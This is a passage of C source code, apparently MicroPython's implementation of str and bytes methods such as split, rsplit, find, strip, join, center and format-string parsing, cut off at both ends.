(void)n_kw; #endif if (n_args == 0) { return mp_const_empty_bytes; } if (MP_OBJ_IS_STR(args[0])) { if (n_args < 2 || n_args > 3) { goto wrong_args; } GET_STR_DATA_LEN(args[0], str_data, str_len); GET_STR_HASH(args[0], str_hash); if (str_hash == 0) { str_hash = qstr_compute_hash(str_data, str_len); } mp_obj_str_t *o = MP_OBJ_TO_PTR(mp_obj_new_str_of_type(&mp_type_bytes, NULL, str_len)); o->data = str_data; o->hash = str_hash; return MP_OBJ_FROM_PTR(o); } if (n_args > 1) { goto wrong_args; } if (MP_OBJ_IS_SMALL_INT(args[0])) { uint len = MP_OBJ_SMALL_INT_VALUE(args[0]); vstr_t vstr; vstr_init_len(&vstr, len); memset(vstr.buf, 0, len); return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr); } // check if argument has the buffer protocol mp_buffer_info_t bufinfo; if (mp_get_buffer(args[0], &bufinfo, MP_BUFFER_READ)) { return mp_obj_new_str_of_type(&mp_type_bytes, bufinfo.buf, bufinfo.len); } vstr_t vstr; // Try to create array of exact len if initializer len is known mp_obj_t len_in = mp_obj_len_maybe(args[0]); if (len_in == MP_OBJ_NULL) { vstr_init(&vstr, 16); } else { mp_int_t len = MP_OBJ_SMALL_INT_VALUE(len_in); vstr_init(&vstr, len); } mp_obj_iter_buf_t iter_buf; mp_obj_t iterable = mp_getiter(args[0], &iter_buf); mp_obj_t item; while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { mp_int_t val = mp_obj_get_int(item); #if MICROPY_FULL_CHECKS if (val < 0 || val > 255) { mp_raise_ValueError("bytes value out of range"); } #endif vstr_add_byte(&vstr, val); } return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr); wrong_args: mp_raise_TypeError("wrong number of arguments"); } // like strstr but with specified length and allows \0 bytes // TODO replace with something more efficient/standard const byte *find_subbytes(const byte *haystack, size_t hlen, const byte *needle, size_t nlen, int direction) { if (hlen >= nlen) { size_t str_index, str_index_end; if (direction > 0) { str_index = 0; str_index_end = hlen - nlen; } else { str_index = hlen - nlen; str_index_end = 0; } for (;;) { if (memcmp(&haystack[str_index], needle, nlen) == 0) { //found return haystack + str_index; } if (str_index == str_index_end) { //not found break; } str_index += direction; } } return NULL; } // Note: this function is used to check if an object is a str or bytes, which // works because both those types use it as their binary_op method. Revisit // MP_OBJ_IS_STR_OR_BYTES if this fact changes. mp_obj_t mp_obj_str_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { // check for modulo if (op == MP_BINARY_OP_MODULO) { mp_obj_t *args = &rhs_in; size_t n_args = 1; mp_obj_t dict = MP_OBJ_NULL; if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_tuple)) { // TODO: Support tuple subclasses? mp_obj_tuple_get(rhs_in, &n_args, &args); } else if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_dict)) { dict = rhs_in; } return str_modulo_format(lhs_in, n_args, args, dict); } // from now on we need lhs type and data, so extract them mp_obj_type_t *lhs_type = mp_obj_get_type(lhs_in); GET_STR_DATA_LEN(lhs_in, lhs_data, lhs_len); // check for multiply if (op == MP_BINARY_OP_MULTIPLY) { mp_int_t n; if (!mp_obj_get_int_maybe(rhs_in, &n)) { return MP_OBJ_NULL; // op not supported } if (n <= 0) { if (lhs_type == &mp_type_str) { return MP_OBJ_NEW_QSTR(MP_QSTR_); // empty str } else { return mp_const_empty_bytes; } } vstr_t vstr; vstr_init_len(&vstr, lhs_len * n); mp_seq_multiply(lhs_data, sizeof(*lhs_data), lhs_len, n, vstr.buf); return mp_obj_new_str_from_vstr(lhs_type, &vstr); } // From now on all operations allow: // - str with str // - bytes with bytes // - bytes with bytearray // - bytes with array.array // To do this efficiently we use the buffer protocol to extract the raw // data for the rhs, but only if the lhs is a bytes object. // // NOTE: CPython does not allow comparison between bytes ard array.array // (even if the array is of type 'b'), even though it allows addition of // such types. We are not compatible with this (we do allow comparison // of bytes with anything that has the buffer protocol). It would be // easy to "fix" this with a bit of extra logic below, but it costs code // size and execution time so we don't. const byte *rhs_data; size_t rhs_len; if (lhs_type == mp_obj_get_type(rhs_in)) { GET_STR_DATA_LEN(rhs_in, rhs_data_, rhs_len_); rhs_data = rhs_data_; rhs_len = rhs_len_; } else if (lhs_type == &mp_type_bytes) { mp_buffer_info_t bufinfo; if (!mp_get_buffer(rhs_in, &bufinfo, MP_BUFFER_READ)) { return MP_OBJ_NULL; // op not supported } rhs_data = bufinfo.buf; rhs_len = bufinfo.len; } else { // LHS is str and RHS has an incompatible type // (except if operation is EQUAL, but that's handled by mp_obj_equal) bad_implicit_conversion(rhs_in); } switch (op) { case MP_BINARY_OP_ADD: case MP_BINARY_OP_INPLACE_ADD: { if (lhs_len == 0 && mp_obj_get_type(rhs_in) == lhs_type) { return rhs_in; } if (rhs_len == 0) { return lhs_in; } vstr_t vstr; vstr_init_len(&vstr, lhs_len + rhs_len); memcpy(vstr.buf, lhs_data, lhs_len); memcpy(vstr.buf + lhs_len, rhs_data, rhs_len); return mp_obj_new_str_from_vstr(lhs_type, &vstr); } case MP_BINARY_OP_IN: /* NOTE `a in b` is `b.__contains__(a)` */ return mp_obj_new_bool(find_subbytes(lhs_data, lhs_len, rhs_data, rhs_len, 1) != NULL); //case MP_BINARY_OP_NOT_EQUAL: // This is never passed here case MP_BINARY_OP_EQUAL: // This will be passed only for bytes, str is dealt with in mp_obj_equal() case MP_BINARY_OP_LESS: case MP_BINARY_OP_LESS_EQUAL: case MP_BINARY_OP_MORE: case MP_BINARY_OP_MORE_EQUAL: return mp_obj_new_bool(mp_seq_cmp_bytes(op, lhs_data, lhs_len, rhs_data, rhs_len)); } return MP_OBJ_NULL; // op not supported } #if !MICROPY_PY_BUILTINS_STR_UNICODE // objstrunicode defines own version const byte *str_index_to_ptr(const mp_obj_type_t *type, const byte *self_data, size_t self_len, mp_obj_t index, bool is_slice) { size_t index_val = mp_get_index(type, self_len, index, is_slice); return self_data + index_val; } #endif // This is used for both bytes and 8-bit strings. This is not used for unicode strings. STATIC mp_obj_t bytes_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) { mp_obj_type_t *type = mp_obj_get_type(self_in); GET_STR_DATA_LEN(self_in, self_data, self_len); if (value == MP_OBJ_SENTINEL) { // load #if MICROPY_PY_BUILTINS_SLICE if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) { mp_bound_slice_t slice; if (!mp_seq_get_fast_slice_indexes(self_len, index, &slice)) { mp_raise_NotImplementedError("only slices with step=1 (aka None) are supported"); } return mp_obj_new_str_of_type(type, self_data + slice.start, slice.stop - slice.start); } #endif size_t index_val = mp_get_index(type, self_len, index, false); // If we have unicode enabled the type will always be bytes, so take the short cut. if (MICROPY_PY_BUILTINS_STR_UNICODE || type == &mp_type_bytes) { return MP_OBJ_NEW_SMALL_INT(self_data[index_val]); } else { return mp_obj_new_str((char*)&self_data[index_val], 1, true); } } else { return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t str_join(mp_obj_t self_in, mp_obj_t arg) { mp_check_self(MP_OBJ_IS_STR_OR_BYTES(self_in)); const mp_obj_type_t *self_type = mp_obj_get_type(self_in); // get separation string GET_STR_DATA_LEN(self_in, sep_str, sep_len); // process args size_t seq_len; mp_obj_t *seq_items; if (!MP_OBJ_IS_TYPE(arg, &mp_type_list) && !MP_OBJ_IS_TYPE(arg, &mp_type_tuple)) { // arg is not a list nor a tuple, try to convert it to a list // TODO: Try to optimize? arg = mp_type_list.make_new(&mp_type_list, 1, 0, &arg); } mp_obj_get_array(arg, &seq_len, &seq_items); // count required length size_t required_len = 0; for (size_t i = 0; i < seq_len; i++) { if (mp_obj_get_type(seq_items[i]) != self_type) { mp_raise_TypeError( "join expects a list of str/bytes objects consistent with self object"); } if (i > 0) { required_len += sep_len; } GET_STR_LEN(seq_items[i], l); required_len += l; } // make joined string vstr_t vstr; vstr_init_len(&vstr, required_len); byte *data = (byte*)vstr.buf; for (size_t i = 0; i < seq_len; i++) { if (i > 0) { memcpy(data, sep_str, sep_len); data += sep_len; } GET_STR_DATA_LEN(seq_items[i], s, l); memcpy(data, s, l); data += l; } // return joined string return mp_obj_new_str_from_vstr(self_type, &vstr); } MP_DEFINE_CONST_FUN_OBJ_2(str_join_obj, str_join); mp_obj_t mp_obj_str_split(size_t n_args, const mp_obj_t *args) { const mp_obj_type_t *self_type = mp_obj_get_type(args[0]); mp_int_t splits = -1; mp_obj_t sep = mp_const_none; if (n_args > 1) { sep = args[1]; if (n_args > 2) { splits = mp_obj_get_int(args[2]); } } mp_obj_t res = mp_obj_new_list(0, NULL); GET_STR_DATA_LEN(args[0], s, len); const byte *top = s + len; if (sep == mp_const_none) { // sep not given, so separate on whitespace // Initial whitespace is not counted as split, so we pre-do it while (s < top && unichar_isspace(*s)) s++; while (s < top && splits != 0) { const byte *start = s; while (s < top && !unichar_isspace(*s)) s++; mp_obj_list_append(res, mp_obj_new_str_of_type(self_type, start, s - start)); if (s >= top) { break; } while (s < top && unichar_isspace(*s)) s++; if (splits > 0) { splits--; } } if (s < top) { mp_obj_list_append(res, mp_obj_new_str_of_type(self_type, s, top - s)); } } else { // sep given if (mp_obj_get_type(sep) != self_type) { bad_implicit_conversion(sep); } size_t sep_len; const char *sep_str = mp_obj_str_get_data(sep, &sep_len); if (sep_len == 0) { mp_raise_ValueError("empty separator"); } for (;;) { const byte *start = s; for (;;) { if (splits == 0 || s + sep_len > top) { s = top; break; } else if (memcmp(s, sep_str, sep_len) == 0) { break; } s++; } mp_obj_list_append(res, mp_obj_new_str_of_type(self_type, start, s - start)); if (s >= top) { break; } s += sep_len; if (splits > 0) { splits--; } } } return res; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_split_obj, 1, 3, mp_obj_str_split); #if MICROPY_PY_BUILTINS_STR_SPLITLINES STATIC mp_obj_t str_splitlines(size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { enum { ARG_keepends }; static const mp_arg_t allowed_args[] = { { MP_QSTR_keepends, MP_ARG_BOOL, {.u_bool = false} }, }; // parse args mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); const mp_obj_type_t *self_type = mp_obj_get_type(pos_args[0]); mp_obj_t res = mp_obj_new_list(0, NULL); GET_STR_DATA_LEN(pos_args[0], s, len); const byte *top = s + len; while (s < top) { const byte *start = s; size_t match = 0; while (s < top) { if (*s == '\n') { match = 1; break; } else if (*s == '\r') { if (s[1] == '\n') { match = 2; } else { match = 1; } break; } s++; } size_t sub_len = s - start; if (args[ARG_keepends].u_bool) { sub_len += match; } mp_obj_list_append(res, mp_obj_new_str_of_type(self_type, start, sub_len)); s += match; } return res; } MP_DEFINE_CONST_FUN_OBJ_KW(str_splitlines_obj, 1, str_splitlines); #endif STATIC mp_obj_t str_rsplit(size_t n_args, const mp_obj_t *args) { if (n_args < 3) { // If we don't have split limit, it doesn't matter from which side // we split. return mp_obj_str_split(n_args, args); } const mp_obj_type_t *self_type = mp_obj_get_type(args[0]); mp_obj_t sep = args[1]; GET_STR_DATA_LEN(args[0], s, len); mp_int_t splits = mp_obj_get_int(args[2]); if (splits < 0) { // Negative limit means no limit, so delegate to split(). return mp_obj_str_split(n_args, args); } mp_int_t org_splits = splits; // Preallocate list to the max expected # of elements, as we // will fill it from the end. mp_obj_list_t *res = MP_OBJ_TO_PTR(mp_obj_new_list(splits + 1, NULL)); mp_int_t idx = splits; if (sep == mp_const_none) { mp_raise_NotImplementedError("rsplit(None,n)"); } else { size_t sep_len; const char *sep_str = mp_obj_str_get_data(sep, &sep_len); if (sep_len == 0) { mp_raise_ValueError("empty separator"); } const byte *beg = s; const byte *last = s + len; for (;;) { s = last - sep_len; for (;;) { if (splits == 0 || s < beg) { break; } else if (memcmp(s, sep_str, sep_len) == 0) { break; } s--; } if (s < beg || splits == 0) { res->items[idx] = mp_obj_new_str_of_type(self_type, beg, last - beg); break; } res->items[idx--] = mp_obj_new_str_of_type(self_type, s + sep_len, last - s - sep_len); last = s; if (splits > 0) { splits--; } } if (idx != 0) { // We split less parts than split limit, now go cleanup surplus size_t used = org_splits + 1 - idx; memmove(res->items, &res->items[idx], used * sizeof(mp_obj_t)); mp_seq_clear(res->items, used, res->alloc, sizeof(*res->items)); res->len = used; } } return MP_OBJ_FROM_PTR(res); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_rsplit_obj, 1, 3, str_rsplit); STATIC mp_obj_t str_finder(size_t n_args, const mp_obj_t *args, int direction, bool is_index) { const mp_obj_type_t *self_type = mp_obj_get_type(args[0]); mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0])); // check argument type if (mp_obj_get_type(args[1]) != self_type) { bad_implicit_conversion(args[1]); } GET_STR_DATA_LEN(args[0], haystack, haystack_len); GET_STR_DATA_LEN(args[1], needle, needle_len); const byte *start = haystack; const byte *end = haystack + haystack_len; if (n_args >= 3 && args[2] != mp_const_none) { start = str_index_to_ptr(self_type, haystack, haystack_len, args[2], true); } if (n_args >= 4 && args[3] != mp_const_none) { end = str_index_to_ptr(self_type, haystack, haystack_len, args[3], true); } const byte *p = find_subbytes(start, end - start, needle, needle_len, direction); if (p == NULL) { // not found if (is_index) { mp_raise_ValueError("substring not found"); } else { return MP_OBJ_NEW_SMALL_INT(-1); } } else { // found #if MICROPY_PY_BUILTINS_STR_UNICODE if (self_type == &mp_type_str) { return MP_OBJ_NEW_SMALL_INT(utf8_ptr_to_index(haystack, p)); } #endif return MP_OBJ_NEW_SMALL_INT(p - haystack); } } STATIC mp_obj_t str_find(size_t n_args, const mp_obj_t *args) { return str_finder(n_args, args, 1, false); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_find_obj, 2, 4, str_find); STATIC mp_obj_t str_rfind(size_t n_args, const mp_obj_t *args) { return str_finder(n_args, args, -1, false); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_rfind_obj, 2, 4, str_rfind); STATIC mp_obj_t str_index(size_t n_args, const mp_obj_t *args) { return str_finder(n_args, args, 1, true); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_index_obj, 2, 4, str_index); STATIC mp_obj_t str_rindex(size_t n_args, const mp_obj_t *args) { return str_finder(n_args, args, -1, true); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_rindex_obj, 2, 4, str_rindex); // TODO: (Much) more variety in args STATIC mp_obj_t str_startswith(size_t n_args, const mp_obj_t *args) { const mp_obj_type_t *self_type = mp_obj_get_type(args[0]); GET_STR_DATA_LEN(args[0], str, str_len); GET_STR_DATA_LEN(args[1], prefix, prefix_len); const byte *start = str; if (n_args > 2) { start = str_index_to_ptr(self_type, str, str_len, args[2], true); } if (prefix_len + (start - str) > str_len) { return mp_const_false; } return mp_obj_new_bool(memcmp(start, prefix, prefix_len) == 0); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_startswith_obj, 2, 3, str_startswith); STATIC mp_obj_t str_endswith(size_t n_args, const mp_obj_t *args) { GET_STR_DATA_LEN(args[0], str, str_len); GET_STR_DATA_LEN(args[1], suffix, suffix_len); if (n_args > 2) { mp_raise_NotImplementedError("start/end indices"); } if (suffix_len > str_len) { return mp_const_false; } return mp_obj_new_bool(memcmp(str + (str_len - suffix_len), suffix, suffix_len) == 0); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_endswith_obj, 2, 3, str_endswith); enum { LSTRIP, RSTRIP, STRIP }; STATIC mp_obj_t str_uni_strip(int type, size_t n_args, const mp_obj_t *args) { mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0])); const mp_obj_type_t *self_type = mp_obj_get_type(args[0]); const byte *chars_to_del; uint chars_to_del_len; static const byte whitespace[] = " \t\n\r\v\f"; if (n_args == 1) { chars_to_del = whitespace; chars_to_del_len = sizeof(whitespace); } else { if (mp_obj_get_type(args[1]) != self_type) { bad_implicit_conversion(args[1]); } GET_STR_DATA_LEN(args[1], s, l); chars_to_del = s; chars_to_del_len = l; } GET_STR_DATA_LEN(args[0], orig_str, orig_str_len); size_t first_good_char_pos = 0; bool first_good_char_pos_set = false; size_t last_good_char_pos = 0; size_t i = 0; int delta = 1; if (type == RSTRIP) { i = orig_str_len - 1; delta = -1; } for (size_t len = orig_str_len; len > 0; len--) { if (find_subbytes(chars_to_del, chars_to_del_len, &orig_str[i], 1, 1) == NULL) { if (!first_good_char_pos_set) { first_good_char_pos_set = true; first_good_char_pos = i; if (type == LSTRIP) { last_good_char_pos = orig_str_len - 1; break; } else if (type == RSTRIP) { first_good_char_pos = 0; last_good_char_pos = i; break; } } last_good_char_pos = i; } i += delta; } if (!first_good_char_pos_set) { // string is all whitespace, return '' if (self_type == &mp_type_str) { return MP_OBJ_NEW_QSTR(MP_QSTR_); } else { return mp_const_empty_bytes; } } assert(last_good_char_pos >= first_good_char_pos); //+1 to accommodate the last character size_t stripped_len = last_good_char_pos - first_good_char_pos + 1; if (stripped_len == orig_str_len) { // If nothing was stripped, don't bother to dup original string // TODO: watch out for this case when we'll get to bytearray.strip() assert(first_good_char_pos == 0); return args[0]; } return mp_obj_new_str_of_type(self_type, orig_str + first_good_char_pos, stripped_len); } STATIC mp_obj_t str_strip(size_t n_args, const mp_obj_t *args) { return str_uni_strip(STRIP, n_args, args); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_strip_obj, 1, 2, str_strip); STATIC mp_obj_t str_lstrip(size_t n_args, const mp_obj_t *args) { return str_uni_strip(LSTRIP, n_args, args); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_lstrip_obj, 1, 2, str_lstrip); STATIC mp_obj_t str_rstrip(size_t n_args, const mp_obj_t *args) { return str_uni_strip(RSTRIP, n_args, args); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_rstrip_obj, 1, 2, str_rstrip); #if MICROPY_PY_BUILTINS_STR_CENTER STATIC mp_obj_t str_center(mp_obj_t str_in, mp_obj_t width_in) { GET_STR_DATA_LEN(str_in, str, str_len); mp_uint_t width = mp_obj_get_int(width_in); if (str_len >= width) { return str_in; } vstr_t vstr; vstr_init_len(&vstr, width); memset(vstr.buf, ' ', width); int left = (width - str_len) / 2; memcpy(vstr.buf + left, str, str_len); return mp_obj_new_str_from_vstr(mp_obj_get_type(str_in), &vstr); } MP_DEFINE_CONST_FUN_OBJ_2(str_center_obj, str_center); #endif // Takes an int arg, but only parses unsigned numbers, and only changes // *num if at least one digit was parsed. STATIC const char *str_to_int(const char *str, const char *top, int *num) { if (str < top && '0' <= *str && *str <= '9') { *num = 0; do { *num = *num * 10 + (*str - '0'); str++; } while (str < top && '0' <= *str && *str <= '9'); } return str; } STATIC bool isalignment(char ch) { return ch && strchr("<>=^", ch) != NULL; } STATIC bool istype(char ch) { return ch && strchr("bcdeEfFgGnosxX%", ch) != NULL; } STATIC bool arg_looks_integer(mp_obj_t arg) { return MP_OBJ_IS_TYPE(arg, &mp_type_bool) || MP_OBJ_IS_INT(arg); } STATIC bool arg_looks_numeric(mp_obj_t arg) { return arg_looks_integer(arg) #if MICROPY_PY_BUILTINS_FLOAT || mp_obj_is_float(arg) #endif ; } STATIC mp_obj_t arg_as_int(mp_obj_t arg) { #if MICROPY_PY_BUILTINS_FLOAT if (mp_obj_is_float(arg)) { return mp_obj_new_int_from_float(mp_obj_float_get(arg)); } #endif return arg; } #if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE STATIC NORETURN void terse_str_format_value_error(void) { mp_raise_ValueError("bad format string"); } #else // define to nothing to improve coverage #define terse_str_format_value_error() #endif STATIC vstr_t mp_obj_str_format_helper(const char *str, const char *top, int *arg_i, size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) { vstr_t vstr; mp_print_t print; vstr_init_print(&vstr, 16, &print); for (; str < top; str++) { if (*str == '}') { str++; if (str < top && *str == '}') { vstr_add_byte(&vstr, '}'); continue; } if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError("single '}' encountered in format string"); } } if (*str != '{') { vstr_add_byte(&vstr, *str); continue; } str++; if (str < top && *str == '{') { vstr_add_byte(&vstr, '{'); continue; } // replacement_field ::= "{" [field_name] ["!" conversion] [":" format_spec] "}" const char *field_name = NULL; const char *field_name_top = NULL; char conversion = '\0'; const char *format_spec = NULL; if (str < top && *str != '}' && *str != '!' && *str != ':') { field_name = (const char *)str; while (str < top && *str != '}' && *str != '!' && *str != ':') { ++str; } field_name_top = (const char *)str; } // conversion ::= "r" | "s" if (str < top && *str == '!') { str++; if (str < top && (*str == 'r' || *str == 's')) { conversion = *str++; } else { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_NORMAL) { mp_raise_ValueError("bad conversion specifier"); } else { if (str >= top) { mp_raise_ValueError( "end of format while looking for conversion specifier"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "unknown conversion specifier %c", *str)); } } } } if (str < top && *str == ':') { str++; // {:} is the same as {}, which is the same as {!s} // This makes a difference when passing in a True or False // '{}'.format(True) returns 'True' // '{:d}'.format(True) returns '1' // So we treat {:} as {} and this later gets treated to be {!s} if (*str != '}') { format_spec = str; for (int nest = 1; str < top;) { if (*str == '{') { ++nest; } else if (*str == '}') { if (--nest == 0) { break; } } ++str; } } } if (str >= top) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError("unmatched '{' in format"); } } if (*str != '}') { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError("expected ':' after format specifier"); } } mp_obj_t arg = mp_const_none; if (field_name) { int index = 0; if (MP_LIKELY(unichar_isdigit(*field_name))) { if (*arg_i > 0) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError( "can't switch from automatic field numbering to manual field specification"); } } field_name = str_to_int(field_name, field_name_top, &index); if ((uint)index >= n_args - 1) { mp_raise_msg(&mp_type_IndexError, "tuple index out of range"); } arg = args[index + 1]; *arg_i = -1; } else { const char *lookup; for (lookup = field_name; lookup < field_name_top && *lookup != '.' && *lookup != '['; lookup++); mp_obj_t field_q = mp_obj_new_str(field_name, lookup - field_name, true/*?*/); field_name = lookup; mp_map_elem_t *key_elem = mp_map_lookup(kwargs, field_q, MP_MAP_LOOKUP); if (key_elem == NULL) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_KeyError, field_q)); } arg = key_elem->value; } if (field_name < field_name_top) { mp_raise_NotImplementedError("attributes not supported yet"); } } else { if (*arg_i < 0) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError( "can't switch from manual field specification to automatic field numbering"); } } if ((uint)*arg_i >= n_args - 1) { mp_raise_msg(&mp_type_IndexError, "tuple index out of range"); } arg = args[(*arg_i) + 1]; (*arg_i)++; } if (!format_spec && !conversion) { conversion = 's'; } if (conversion) { mp_print_kind_t print_kind; if (conversion == 's') { print_kind = PRINT_STR; } else { assert(conversion == 'r'); print_kind = PRINT_REPR; } vstr_t arg_vstr; mp_print_t arg_print; vstr_init_print(&arg_vstr, 16, &arg_print); mp_obj_print_helper(&arg_print, arg, print_kind); arg = mp_obj_new_str_from_vstr(&mp_type_str, &arg_vstr); } char fill = '\0'; char align = '\0'; int width = -1; int precision = -1; char type = '\0'; int flags = 0; if (format_spec) { // The format specifier (from http://docs.python.org/2/library/string.html#formatspec) // // [[fill]align][sign][#][0][width][,][.precision][type] // fill ::= // align ::= "<" | ">" | "=" | "^" // sign ::= "+" | "-" | " " // width ::= integer // precision ::= integer // type ::= "b" | "c" | "d" | "e" | "E" | "f" | "F" | "g" | "G" | "n" | "o" | "s" | "x" | "X" | "%" // recursively call the formatter to format any nested specifiers MP_STACK_CHECK(); vstr_t format_spec_vstr = mp_obj_str_format_helper(format_spec, str, arg_i, n_args, args, kwargs); const char *s = vstr_null_terminated_str(&format_spec_vstr); const char *stop = s + format_spec_vstr.len; if (isalignment(*s)) { align = *s++; } else if (*s && isalignment(s[1])) { fill = *s++; align = *s++; } if (*s == '+' || *s == '-' || *s == ' ') { if (*s == '+') { flags |= PF_FLAG_SHOW_SIGN; } else if (*s == ' ') { flags |= PF_FLAG_SPACE_SIGN; } s++; } if (*s == '#') { flags |= PF_FLAG_SHOW_PREFIX; s++; } if (*s == '0') { if (!align) { align = '='; } if (!fill) { fill = '0'; } } s = str_to_int(s, stop, &width); if (*s == ',') { flags |= PF_FLAG_SHOW_COMMA; s++; } if (*s == '.') { s++; s = str_to_int(s, stop, &precision); } if (istype(*s)) { type = *s++; } if (*s) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError("invalid format specifier"); } } vstr_clear(&format_spec_vstr); } if (!align) { if (arg_looks_numeric(arg)) { align = '>'; } else { align = '<'; } } if (!fill) { fill = ' '; } if (flags & (PF_FLAG_SHOW_SIGN | PF_FLAG_SPACE_SIGN)) { if (type == 's') { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError("sign not allowed in string format specifier"); } } if (type == 'c') { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError( "sign not allowed with integer format specifier 'c'"); } } } switch (align) { case '<': flags |= PF_FLAG_LEFT_ADJUST; break; case '=': flags |= PF_FLAG_PAD_AFTER_SIGN; break; case '^': flags |= PF_FLAG_CENTER_ADJUST; break; } if (arg_looks_integer(arg)) { switch (type) { case 'b': mp_print_mp_int(&print, arg, 2, 'a', flags, fill, width, 0); continue; case 'c': { char ch = mp_obj_get_int(arg); mp_print_strn(&print, &ch, 1, flags, fill, width); continue; } case '\0': // No explicit format type implies 'd' case 'n': // I don't think we support locales in uPy so use 'd' case 'd': mp_print_mp_int(&print, arg, 10, 'a', flags, fill, width, 0); continue; case 'o': if (flags & PF_FLAG_SHOW_PREFIX) { flags |= PF_FLAG_SHOW_OCTAL_LETTER; } mp_print_mp_int(&print, arg, 8, 'a', flags, fill, width, 0); continue; case 'X': case 'x': mp_print_mp_int(&print, arg, 16, type - ('X' - 'A'), flags, fill, width, 0); continue; case 'e': case 'E': case 'f': case 'F': case 'g': case 'G': case '%': // The floating point formatters all work with anything that // looks like an integer break; default: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "unknown format code '%c' for object of type '%s'", type, mp_obj_get_type_str(arg))); } } } // NOTE: no else here. We need the e, f, g etc formats for integer // arguments (from above if) to take this if. if (arg_looks_numeric(arg)) { if (!type) { // Even though the docs say that an unspecified type is the same // as 'g', there is one subtle difference, when the exponent // is one less than the precision. // // '{:10.1}'.format(0.0) ==> '0e+00' // '{:10.1g}'.format(0.0) ==> '0' // // TODO: Figure out how to deal with this. // // A proper solution would involve adding a special flag // or something to format_float, and create a format_double // to deal with doubles. In order to fix this when using // sprintf, we'd need to use the e format and tweak the // returned result to strip trailing zeros like the g format // does. // // {:10.3} and {:10.2e} with 1.23e2 both produce 1.23e+02 // but with 1.e2 you get 1e+02 and 1.00e+02 // // Stripping the trailing 0's (like g) does would make the // e format give us the right format. // // CPython sources say: // Omitted type specifier. Behaves in the same way as repr(x) // and str(x) if no precision is given, else like 'g', but with // at least one digit after the decimal point. */ type = 'g'; } if (type == 'n') { type = 'g'; } switch (type) { #if MICROPY_PY_BUILTINS_FLOAT case 'e': case 'E': case 'f': case 'F': case 'g': case 'G': mp_print_float(&print, mp_obj_get_float(arg), type, flags, fill, width, precision); break; case '%': flags |= PF_FLAG_ADD_PERCENT; #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT #define F100 100.0F #else #define F100 100.0 #endif mp_print_float(&print, mp_obj_get_float(arg) * F100, 'f', flags, fill, width, precision); #undef F100 break; #endif default: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "unknown format code '%c' for object of type 'float'", type, mp_obj_get_type_str(arg))); } } } else { // arg doesn't look like a number if (align == '=') { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError( "'=' alignment not allowed in string format specifier"); } } switch (type) { case '\0': // no explicit format type implies 's' case 's': { size_t slen; const char *s = mp_obj_str_get_data(arg, &slen); if (precision < 0) { precision = slen; } if (slen > (size_t)precision) { slen = precision; } mp_print_strn(&print, s, slen, flags, fill, width); break; } default: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "unknown format code '%c' for object of type 'str'", type, mp_obj_get_type_str(arg))); } } } } return vstr; } mp_obj_t mp_obj_str_format(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) { mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0])); GET_STR_DATA_LEN(args[0], str, len); int arg_i = 0; 